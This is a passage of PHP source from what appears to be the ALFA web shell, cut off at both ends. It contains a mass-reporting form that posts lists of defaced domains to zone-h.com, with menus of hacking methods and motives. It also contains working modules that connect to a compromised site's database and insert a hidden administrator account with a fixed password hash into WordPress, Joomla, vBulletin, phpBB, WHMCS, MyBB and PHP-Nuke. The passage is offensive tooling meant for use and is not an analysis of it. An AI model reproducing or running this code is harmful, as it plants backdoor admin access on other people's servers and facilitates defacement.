intrusion\',\'Mail Server intrusion\',\'FTP Server intrusion\',\'SSH Server intrusion\',\'Telnet Server intrusion\',\'RPC Server intrusion\',\'Shares misconfiguration\',\'Other Server intrusion\',\'SQL Injection\',\'URL Poisoning\',\'File Inclusion\',\'Other Web Application bug\',\'Remote administrative panel access bruteforcing\',\'Remote administrative panel access password guessing\',\'Remote administrative panel access social engineering\',\'Attack against administrator(password stealing/sniffing)\',\'Access credentials through Man In the Middle attack\',\'Remote service password guessing\',\'Remote service password bruteforce\',\'Rerouting after attacking the Firewall\',\'Rerouting after attacking the Router\',\'DNS attack through social engineering\',\'DNS attack through cache poisoning\',\'Not available\',\'Cross-Site Scripting\');\r\n$reason = array(\'Heh...just for fun!\',\'Revenge against that website\',\'Political reasons\',\'As a challenge\',\'I just want to be the best defacer\',\'Patriotism\',\'Not available\');\r\necho \'\r\n<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>\r\n<form action="" method="post" onsubmit="g(\\\'zoneh\\\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\\\'>>\\\'); return false;">\r\n<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />\r\n<br>\r\n<select id="text" name="hackmode" style="width:400px;">\';\r\n$x=1;\r\nforeach($hackmode as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br><select id="text" name="reason" style="width:200px;">\';\r\n$x=1;\r\nforeach($reason as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br>\r\n<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>\r\n<p><input type="submit" value=" " name="go" /></p>\r\n</form></center>\';\r\nif($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){\r\nob_start();\r\n$hacker = $_POST[\'alfa1\'];\r\n$method = $_POST[\'alfa2\'];\r\n$neden = $_POST[\'alfa3\'];\r\n$site = $_POST[\'alfa4\'];\r\nif(empty($hacker)){\r\ndie (__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");\r\n}elseif($method == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");\r\n}elseif($neden == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");\r\n}elseif(empty($site)){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");\r\n}\r\n$i = 0;\r\n$sites = explode("\\n", $site);\r\n$alfa = new AlfaCURL();\r\nwhile($i < count($sites)){\r\nif(substr($sites[$i], 0, 4) != "http"){\r\n$sites[$i] = "http://".$sites[$i];\r\n}\r\n$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);\r\n++$i;\r\n}\r\necho __pre()."<center><font color =\\"#00A220\\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfapwchanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>\r\n<center><h3>\';\r\n$vals = array(\'WordPress\' => array(\'wp\',2),\'Joomla\' => array(\'joomla\',3),\'vBulletin\' => array(\'vb\',5),\'phpBB\' => array(\'phpbb\',6),\'WHMCS\' => array(\'whmcs\',7),\'MyBB\' => array(\'mybb\',8),\'Php Nuke\' => array(\'nuke\',9),\'Drupal\' => array(\'drupal\',10),\'SMF\' => array(\'smf\',11));\r\nAlfa_Create_A_Tag(\'pwchanger\',$vals);\r\necho \'</h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'wp\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| WordPress |</div>\r\n<p>\'.getConfigHtml(\'wp\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'wp\\\',\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\',\'id\'=>\'db_host\', \'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'wp_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'kh\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form>\';\r\nif ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = @mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = @mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'ID\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\'),(null,\'".$res."\',\'last_name\',\'solevisible\'),(null,\'".$res."\',\'nickname\',\'solevisible\'),(null,\'".$res."\',\'description\',\'solevisible\'),(null,\'".$res."\',\'rich_editing\',\'true\'),(null,\'".$res."\',\'comment_shortcuts\',\'false\'),(null,\'".$res."\',\'admin_color\',\'fresh\'),(null,\'".$res."\',\'use_ssl\',\'0\'),(null,\'".$res."\',\'show_admin_bar_front\',\'true\'),(null,\'".$res."\',\'".$prefix."capabilities\',\'a:1:{s:13:\\"administrator\\";b:1;}\'),(null,\'".$res."\',\'".$prefix."user_level\',\'10\'),(null,\'".$res."\',\'show_welcome_panel\',\'1\'),(null,\'".$res."\',\'".$prefix."dashboard_quick_press_last_post_id\',\'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| Joomla |</div><p><p>\'.getConfigHtml(\'joomla\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',\\\'joomla\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'jos_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole =@mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis =@mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'id\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| vBulletin |<div><p>\'.getConfigHtml(\'vb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,\\\'vb\\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());\r\n$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = \'{$prefix}user\' and column_name = \'password\' and table_schema = \'{$database}\'");\r\n$pw_col = @mysqli_num_rows($pw_col);\r\n$adm_perm = "16744444";\r\nif($pw_col > 0){\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\')") or die(mysqli_error($conn));\r\n}else{\r\n$adm_perm = "2143256444";\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,\'6\',\'$admin\',\'\\$2y\\$10\\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq\',\'Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\',\'blowfish:10\',\'1984-05-20\')") or die(mysqli_error($conn));\r\n}\r\n$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'userid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'".$adm_perm."\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\'] == \'phpbb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| phpBB |</div><p><p>\'.getConfigHtml(\'phpbb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,\\\'phpbb\\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5(\'solevisible\');\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\'] == \'whmcs\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Whmcs |</div><p><p>\'.getConfigHtml(\'whmcs\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\\'whmcs\\\',null,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa7\']) && $_POST[\'alfa7\'] == \'mybb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Mybb |</div><p><p>\'.getConfigHtml(\'mybb\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\\'mybb\\\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\'] == \'nuke\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| PhpNuke |</div><p><p>\'.getConfigHtml(\'phpnuke\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'nuke\\\',this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa7\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5($pwd);\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'drupal\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Drupal |</div><p><p>\'.getConfigHtml(\'drupal\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'drupal\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n 